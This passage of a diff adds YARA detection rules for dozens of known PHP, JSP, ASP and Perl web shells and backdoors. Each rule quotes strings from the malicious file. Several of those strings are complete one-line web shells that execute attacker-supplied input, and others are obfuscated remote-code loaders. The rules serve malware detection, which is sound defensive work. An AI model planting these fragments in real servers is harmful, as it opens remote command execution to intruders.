+		description = "Web shells - generated from file 404super.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "7ed63176226f83d36dce47ce82507b28"
+	strings:
+		$s4 = "$i = pack('c*', 0x70, 0x61, 99, 107);" fullword
+		$s6 = "    'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631')," fullword
+		$s7 = "//http://require.duapp.com/session.php" fullword
+		$s8 = "if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}" fullword
+		$s12 = "//define('pass','123456');" fullword
+		$s13 = "$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSIO"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_JSP {
+	meta:
+		description = "Web shells - generated from file JSP.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "495f1a0a4c82f986f4bdf51ae1898ee7"
+	strings:
+		$s1 = "void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"
+		$s5 = "bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.app"
+		$s11 = "if(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequest"
+	condition:
+		1 of them
+}
+rule webshell_webshell_123 {
+	meta:
+		description = "Web shells - generated from file webshell-123.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "2782bb170acaed3829ea9a04f0ac7218"
+	strings:
+		$s0 = "// Web Shell!!" fullword
+		$s1 = "@preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6"
+		$s3 = "$default_charset = \"UTF-8\";" fullword
+		$s4 = "// url:http://www.weigongkai.com/shell/" fullword
+	condition:
+		2 of them
+}
+rule webshell_dev_core {
+	meta:
+		description = "Web shells - generated from file dev_core.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "55ad9309b006884f660c41e53150fc2e"
+	strings:
+		$s1 = "if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {" fullword
+		$s9 = "setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);" fullword
+		$s10 = "$_SESSION['code'] = _REQUEST(sprintf(\"%s?%s\",pack(\"H*\",'6874"
+		$s11 = "if (preg_match(\"/^HTTP\\/\\d\\.\\d\\s([\\d]+)\\s.*$/\", $status, $matches))"
+		$s12 = "eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_C"
+		$s15 = "if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout))"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_pHp {
+	meta:
+		description = "Web shells - generated from file pHp.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "b0e842bdf83396c3ef8c71ff94e64167"
+	strings:
+		$s0 = "if(is_readable($path)) antivirus($path.'/',$exs,$matches);" fullword
+		$s1 = "'/(eval|assert|include|require|include\\_once|require\\_once|array\\_map|arr"
+		$s13 = "'/(exec|shell\\_exec|system|passthru)+\\s*\\(\\s*\\$\\_(\\w+)\\[(.*)\\]\\s*"
+		$s14 = "'/(include|require|include\\_once|require\\_once)+\\s*\\(\\s*[\\'|\\\"](\\w+"
+		$s19 = "'/\\$\\_(\\w+)(.*)(eval|assert|include|require|include\\_once|require\\_once"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_pppp {
+	meta:
+		description = "Web shells - generated from file pppp.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "cf01cb6e09ee594545693c5d327bdd50"
+	strings:
+		$s0 = "Mail: chinese@hackermail.com" fullword
+		$s3 = "if($_GET[\"hackers\"]==\"2b\"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "
+		$s6 = "Site: http://blog.weili.me" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_code {
+	meta:
+		description = "Web shells - generated from file code.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "a444014c134ff24c0be5a05c02b81a79"
+	strings:
+		$s1 = "<a class=\"high2\" href=\"javascript:;;;\" name=\"action=show&dir=$_ipage_fi"
+		$s7 = "$file = !empty($_POST[\"dir\"]) ? urldecode(self::convert_to_utf8(rtrim($_PO"
+		$s10 = "if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_"
+		$s14 = "Processed in <span id=\"runtime\"></span> second(s) {gzip} usage:"
+		$s17 = "<a href=\"javascript:;;;\" name=\"{return_link}\" onclick=\"fileperm"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_jspyyy {
+	meta:
+		description = "Web shells - generated from file jspyyy.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "b291bf3ccc9dac8b5c7e1739b8fa742e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*\"%><%if(request.getParameter(\"f\")"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_xxxx {
+	meta:
+		description = "Web shells - generated from file xxxx.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "5bcba70b2137375225d8eedcde2c0ebb"
+	strings:
+		$s0 = "<?php eval($_POST[1]);?>  " fullword
+	condition:
+		all of them
+}
+rule webshell_webshells_new_JJjsp3 {
+	meta:
+		description = "Web shells - generated from file JJjsp3.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "949ffee1e07a1269df7c69b9722d293e"
+	strings:
+		$s0 = "<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!S"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_PHP1 {
+	meta:
+		description = "Web shells - generated from file PHP1.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "14c7281fdaf2ae004ca5fec8753ce3cb"
+	strings:
+		$s0 = "<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>" fullword
+		$s2 = ":https://forum.90sec.org/forum.php?mod=viewthread&tid=7316" fullword
+		$s3 = "@preg_replace(\"/f/e\",$_GET['u'],\"fengjiao\"); " fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_JJJsp2 {
+	meta:
+		description = "Web shells - generated from file JJJsp2.jsp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "5a9fec45236768069c99f0bfd566d754"
+	strings:
+		$s2 = "QQ(cs, z1, z2, sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z"
+		$s8 = "sb.append(l[i].getName() + \"/\\t\" + sT + \"\\t\" + l[i].length()+ \"\\t\" + sQ"
+		$s10 = "ResultSet r = s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData()"
+		$s11 = "return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase("
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_radhat {
+	meta:
+		description = "Web shells - generated from file radhat.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "72cb5ef226834ed791144abaa0acdfd4"
+	strings:
+		$s1 = "sod=Array(\"D\",\"7\",\"S"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_asp1 {
+	meta:
+		description = "Web shells - generated from file asp1.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "b63e708cd58ae1ec85cf784060b69cad"
+	strings:
+		$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
+		$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_php6 {
+	meta:
+		description = "Web shells - generated from file php6.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "ea75280224a735f1e445d244acdfeb7b"
+	strings:
+		$s1 = "array_map(\"asx73ert\",(ar"
+		$s3 = "preg_replace(\"/[errorpage]/e\",$page,\"saft\");" fullword
+		$s4 = "shell.php?qid=zxexp  " fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_xxx {
+	meta:
+		description = "Web shells - generated from file xxx.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "0e71428fe68b39b70adb6aeedf260ca0"
+	strings:
+		$s3 = "<?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?>" fullword
+	condition:
+		all of them
+}
+rule webshell_GetPostpHp {
+	meta:
+		description = "Web shells - generated from file GetPostpHp.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "20ede5b8182d952728d594e6f2bb5c76"
+	strings:
+		$s0 = "<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>" fullword
+	condition:
+		all of them
+}
+rule webshell_webshells_new_php5 {
+	meta:
+		description = "Web shells - generated from file php5.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "cf2ab009cbd2576a806bfefb74906fdf"
+	strings:
+		$s0 = "<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_u"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_PHP {
+	meta:
+		description = "Web shells - generated from file PHP.php"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "a524e7ae8d71e37d2fd3e5fbdab405ea"
+	strings:
+		$s1 = "echo \"<font color=blue>Error!</font>\";" fullword
+		$s2 = "<input type=\"text\" size=61 name=\"f\" value='<?php echo $_SERVER[\"SCRIPT_FILE"
+		$s5 = " - ExpDoor.com</title>" fullword
+		$s10 = "$f=fopen($_POST[\"f\"],\"w\");" fullword
+		$s12 = "<textarea name=\"c\" cols=60 rows=15></textarea><br>" fullword
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_Asp {
+	meta:
+		description = "Web shells - generated from file Asp.asp"
+		author = "Florian Roth"
+		date = "2014/03/28"
+		score = 70
+		hash = "32c87744ea404d0ea0debd55915010b7"
+	strings:
+		$s1 = "Execute MorfiCoder(\")/*/z/*/(tseuqer lave\")" fullword
+		$s2 = "Function MorfiCoder(Code)" fullword
+		$s3 = "MorfiCoder=Replace(Replace(StrReverse(Code),\"/*/\",\"\"\"\"),\"\\*\\\",vbCrlf)" fullword
+	condition:
+		1 of them
+}
+
+/* Update from hackers tool pack */
+
+rule perlbot_pl {
+	meta:
+		description = "Semi-Auto-generated  - file perlbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7e4deb9884ffffa5d82c22f8dc533a45"
+	strings:
+		$s0 = "my @adms=(\"Kelserific\",\"Puna\",\"nod32\")"
+		$s1 = "#Acesso a Shel - 1 ON 0 OFF"
+	condition:
+		1 of them
+}
+rule php_backdoor_php {
+	meta:
+		description = "Semi-Auto-generated  - file php-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+	strings:
+		$s0 = "http://michaeldaw.org   2006"
+		$s1 = "or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win"
+		$s3 = "coded by z0mbie"
+	condition:
+		1 of them
+}
+rule Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_php {
+	meta:
+		description = "Semi-Auto-generated  - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+	strings:
+		$s0 = "<option value=\"cat /var/cpanel/accounting.log\">/var/cpanel/accounting.log</opt"
+		$s1 = "Liz0ziM Private Safe Mode Command Execuriton Bypass"
+		$s2 = "echo \"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>\";" fullword
+	condition:
+		1 of them
+}
+rule Nshell__1__php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Nshell (1).php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "973fc89694097a41e684b43a21b1b099"
+	strings:
+		$s0 = "echo \"Command : <INPUT TYPE=text NAME=cmd value=\".@stripslashes(htmlentities($"
+		$s1 = "if(!$whoami)$whoami=exec(\"whoami\"); echo \"whoami :\".$whoami.\"<br>\";" fullword
+	condition:
+		1 of them
+}
+rule shankar_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file shankar.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "6eb9db6a3974e511b7951b8f7e7136bb"
+	strings:
+		$sAuthor = "ShAnKaR"
+		$s0 = "<input type=checkbox name='dd' \".(isset($_POST['dd'])?'checked':'').\">DB<input"
+		$s3 = "Show<input type=text size=5 value=\".((isset($_POST['br_st']) && isset($_POST['b"
+	condition:
+		1 of ($s*) and $sAuthor
+}
+rule Casus15_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Casus15.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5e2ede2d1c4fa1fcc3cbfe0c005d7b13"
+	strings:
+		$s0 = "copy ( $dosya_gonder2, \"$dir/$dosya_gonder2_name\") ? print(\"$dosya_gonder2_na"
+		$s2 = "echo \"<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'"
+		$s3 = "value='Calistirmak istediginiz "
+	condition:
+		1 of them
+}
+rule small_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file small.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "fcee6226d09d150bfa5f103bee61fbde"
+	strings:
+		$s1 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s2 = "eval(gzinflate(base64_decode('FJzHkqPatkU/550IGnjXxHvv6bzAe0iE5+svFVGtKqXMZq05x1"
+		$s4 = "@ini_set('error_log',NULL);" fullword
+	condition:
+		2 of them
+}
+rule shellbot_pl {
+	meta:
+		description = "Semi-Auto-generated  - file shellbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b2a883bc3c03a35cfd020dd2ace4bab8"
+	strings:
+		$s0 = "ShellBOT"
+		$s1 = "PacktsGr0up"
+		$s2 = "CoRpOrAtIoN"
+		$s3 = "# Servidor de irc que vai ser usado "
+		$s4 = "/^ctcpflood\\s+(\\d+)\\s+(\\S+)"
+	condition:
+		2 of them
+}
+rule fuckphpshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file fuckphpshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "554e50c1265bb0934fcc8247ec3b9052"
+	strings:
+		$s0 = "$succ = \"Warning! "
+		$s1 = "Don`t be stupid .. this is a priv3 server, so take extra care!"
+		$s2 = "\\*=-- MEMBERS AREA --=*/"
+		$s3 = "preg_match('/(\\n[^\\n]*){' . $cache_lines . '}$/', $_SESSION['o"
+	condition:
+		2 of them
+}
+rule ngh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ngh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c372b725419cdfd3f8a6371cfeebc2fd"
+	strings:
+		$s0 = "Cr4sh_aka_RKL"
+		$s1 = "NGH edition"
+		$s2 = "/* connectback-backdoor on perl"
+		$s3 = "<form action=<?=$script?>?act=bindshell method=POST>"
+		$s4 = "$logo = \"R0lGODlhMAAwAOYAAAAAAP////r"
+	condition:
+		1 of them
+}
+rule jsp_reverse_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file jsp-reverse.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8b0e6779f25a17f0ffb3df14122ba594"
+	strings:
+		$s0 = "// backdoor.jsp"
+		$s1 = "JSP Backdoor Reverse Shell"
+		$s2 = "http://michaeldaw.org"
+	condition:
+		2 of them
+}
+rule Tool_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Tool.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8febea6ca6051ae5e2ad4c78f4b9c1f2"
+	strings:
+		$s0 = "mailto:rhfactor@antisocial.com"
+		$s2 = "?raiz=root"
+		$s3 = "DIGO CORROMPIDO<BR>CORRUPT CODE"
+		$s4 = "key = \"5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA0"
+	condition:
+		2 of them
+}
+rule NT_Addy_asp {
+	meta:
+		description = "Semi-Auto-generated  - file NT Addy.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2e0d1bae844c9a8e6e351297d77a1fec"
+	strings:
+		$s0 = "NTDaddy v1.9 by obzerve of fux0r inc"
+		$s2 = "<ERROR: THIS IS NOT A TEXT FILE>"
+		$s4 = "RAW D.O.S. COMMAND INTERFACE"
+	condition:
+		1 of them
+}
+rule SimAttacker___Vrsion_1_0_0___priv8_4_My_friend_php {
+	meta:
+		description = "Semi-Auto-generated  - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+	strings:
+		$s0 = "SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend"
+		$s3 = " fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+		$s4 = "echo \"<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decora"
+	condition:
+		1 of them
+}
+rule RemExp_asp {
+	meta:
+		description = "Semi-Auto-generated  - file RemExp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+	strings:
+		$s0 = "<title>Remote Explorer</title>"
+		$s3 = " FSO.CopyFile Request.QueryString(\"FolderPath\") & Request.QueryString(\"CopyFi"
+		$s4 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+	condition:
+		2 of them
+}
+rule phvayvv_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file phvayvv.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "35fb37f3c806718545d97c6559abd262"
+	strings:
+		$s0 = "{mkdir(\"$dizin/$duzenx2\",777)"
+		$s1 = "$baglan=fopen($duzkaydet,'w');"
+		$s2 = "PHVayv 1.0"
+	condition:
+		1 of them
+}
+rule klasvayv_asp {
+	meta:
+		description = "Semi-Auto-generated  - file klasvayv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2b3e64bf8462fc3d008a3d1012da64ef"
+	strings:
+		$s1 = "set aktifklas=request.querystring(\"aktifklas\")"
+		$s2 = "action=\"klasvayv.asp?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>"
+		$s3 = "<font color=\"#858585\">www.aventgrup.net"
+		$s4 = "style=\"BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT"
+	condition:
+		1 of them
+}
+rule r57shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file r57shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d28445de424594a5f14d0fe2a7c4e94f"
+	strings:
+		$s1 = " else if ($HTTP_POST_VARS['with'] == \"lynx\") { $HTTP_POST_VARS['cmd']= \"lynx "
+		$s2 = "RusH security team"
+		$s3 = "'ru_text12' => 'back-connect"
+	condition:
+		1 of them
+}
+rule rst_sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file rst_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0961641a4ab2b8cb4d2beca593a92010"
+	strings:
+		$s0 = "C:\\tmp\\dump_"
+		$s1 = "RST MySQL"
+		$s2 = "http://rst.void.ru"
+		$s3 = "$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';"
+	condition:
+		2 of them
+}
+rule wh_bindshell_py {
+	meta:
+		description = "Semi-Auto-generated  - file wh_bindshell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "fab20902862736e24aaae275af5e049c"
+	strings:
+		$s0 = "#Use: python wh_bindshell.py [port] [password]"
+		$s2 = "python -c\"import md5;x=md5.new('you_password');print x.hexdigest()\"" fullword
+		$s3 = "#bugz: ctrl+c etc =script stoped=" fullword
+	condition:
+		1 of them
+}
+rule lurm_safemod_on_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file lurm_safemod_on.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5ea4f901ce1abdf20870c214b3231db3"
+	strings:
+		$s0 = "Network security team :: CGI Shell" fullword
+		$s1 = "#########################<<KONEC>>#####################################" fullword
+		$s2 = "##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##" fullword
+	condition:
+		1 of them
+}
+rule c99madshell_v2_0_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file c99madshell_v2.0.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d27292895da9afa5b60b9d3014f39294"
+	strings:
+		$s2 = "eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXef"
+	condition:
+		all of them
+}
+rule backupsql_php_often_with_c99shell {
+	meta:
+		description = "Semi-Auto-generated  - file backupsql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ab1a06ab1a1fe94e3f3b7f80eedbc12f"
+	strings:
+		$s2 = "//$message.= \"--{$mime_boundary}\\n\" .\"Content-Type: {$fileatt_type};\\n\" ."
+		$s4 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+	condition:
+		all of them
+}
+rule uploader_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file uploader.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0b53b67bb3b004a8681e1458dd1895d0"
+	strings:
+		$s2 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+		$s3 = "Send this file: <INPUT NAME=\"userfile\" TYPE=\"file\">" fullword
+		$s4 = "<INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">" fullword
+	condition:
+		2 of them
+}
+rule telnet_pl {
+	meta:
+		description = "Semi-Auto-generated  - file telnet.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "dd9dba14383064e219e29396e242c1ec"
+	strings:
+		$s0 = "W A R N I N G: Private Server"
+		$s2 = "$Message = q$<pre><font color=\"#669999\"> _____  _____  _____          _____   "
+	condition:
+		all of them
+}
+rule w3d_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file w3d.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "987f66b29bfb209a0b4f097f84f57c3b"
+	strings:
+		$s0 = "W3D Shell"
+		$s1 = "By: Warpboy"
+		$s2 = "No Query Executed"
+	condition:
+		2 of them
+}
+rule WebShell_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file WebShell.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "bc486c2e00b5fc3e4e783557a2441e6f"
+	strings:
+		$s0 = "WebShell.cgi"
+		$s2 = "<td><code class=\"entry-[% if entry.all_rights %]mine[% else"
+	condition:
+		all of them
+}
+rule WinX_Shell_html {
+	meta:
+		description = "Semi-Auto-generated  - file WinX Shell.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+	strings:
+		$s0 = "WinX Shell"
+		$s1 = "Created by greenwood from n57"
+		$s2 = "<td><font color=\\\"#990000\\\">Win Dir:</font></td>"
+	condition:
+		2 of them
+}
+rule Dx_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Dx.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+	strings:
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "$DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Util"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTTP"
+	condition:
+		1 of them
+}
+rule csh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file csh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "194a9d3f3eac8bc56d9a7c55c016af96"
+	strings:
+		$s0 = ".::[c0derz]::. web-shell"
+		$s1 = "http://c0derz.org.ua"
+		$s2 = "vint21h@c0derz.org.ua"
+		$s3 = "$name='63a9f0ea7bb98050796b649e85481845';//root"
+	condition:
+		1 of them
+}
+rule pHpINJ_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file pHpINJ.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d7a4b0df45d34888d5a09f745e85733f"
+	strings:
+		$s1 = "News Remote PHP Shell Injection"
+		$s3 = "Php Shell <br />" fullword
+		$s4 = "<input type = \"text\" name = \"url\" value = \""
+	condition:
+		2 of them
+}
+rule sig_2008_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file 2008.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "3e4ba470d4c38765e4b16ed930facf2c"
+	strings:
+		$s0 = "Codz by angel(4ngel)"
+		$s1 = "Web: http://www.4ngel.net"
+		$s2 = "$admin['cookielife'] = 86400;"
+		$s3 = "$errmsg = 'The file you want Downloadable was nonexistent';"
+	condition:
+		1 of them
+}
+rule ak74shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ak74shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7f83adcb4c1111653d30c6427a94f66f"
+	strings:
+		$s1 = "$res .= '<td align=\"center\"><a href=\"'.$xshell.'?act=chmod&file='.$_SESSION["
+		$s2 = "AK-74 Security Team Web Site: www.ak74-team.net"
+		$s3 = "$xshell"
+	condition:
+		2 of them
+}
+rule Rem_View_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Rem View.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+	strings:
+		$s0 = "$php=\"/* line 1 */\\n\\n// \".mm(\"for example, uncomment next line\").\""
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 ="Welcome to phpRemoteView (RemView)"
+	condition:
+		1 of them
+}
+rule Java_Shell_js {
+	meta:
+		description = "Semi-Auto-generated  - file Java Shell.js.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+	strings:
+		$s2 = "PySystemState.initialize(System.getProperties(), null, argv);" fullword
+		$s3 = "public class JythonShell extends JPanel implements Runnable {" fullword
+		$s4 = "public static int DEFAULT_SCROLLBACK = 100"
+	condition:
+		2 of them
+}
+rule STNC_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file STNC.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2e56cfd5b5014cbbf1c1e3f082531815"
+	strings:
+		$s0 = "drmist.ru" fullword
+		$s1 = "hidden(\"action\",\"download\").hidden_pwd().\"<center><table><tr><td width=80"
+		$s2 = "STNC WebShell"
+		$s3 = "http://www.security-teams.net/index.php?showtopic="
+	condition:
+		1 of them
+}
+rule aZRaiLPhp_v1_0_php {
+	meta:
+		description = "Semi-Auto-generated  - file aZRaiLPhp v1.0.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "26b2d3943395682e36da06ed493a3715"
+	strings:
+		$s0 = "azrailphp"
+		$s1 = "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"
+		$s3 = "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"
+	condition:
+		2 of them
+}
+rule Moroccan_Spamers_Ma_EditioN_By_GhOsT_php {
+	meta:
+		description = "Semi-Auto-generated  - file Moroccan Spamers Ma-EditioN By GhOsT.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d1b7b311a7ffffebf51437d7cd97dc65"
+	strings:
+		$s0 = ";$sd98=\"john.barker446@gmail.com\""
+		$s1 = "print \"Sending mail to $to....... \";"
+		$s2 = "<td colspan=\"2\" width=\"715\" background=\"/simparts/images/cellpic1.gif\" hei"
+	condition:
+		1 of them
+}
+rule zacosmall_php {
+	meta:
+		description = "Semi-Auto-generated  - file zacosmall.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+	strings:
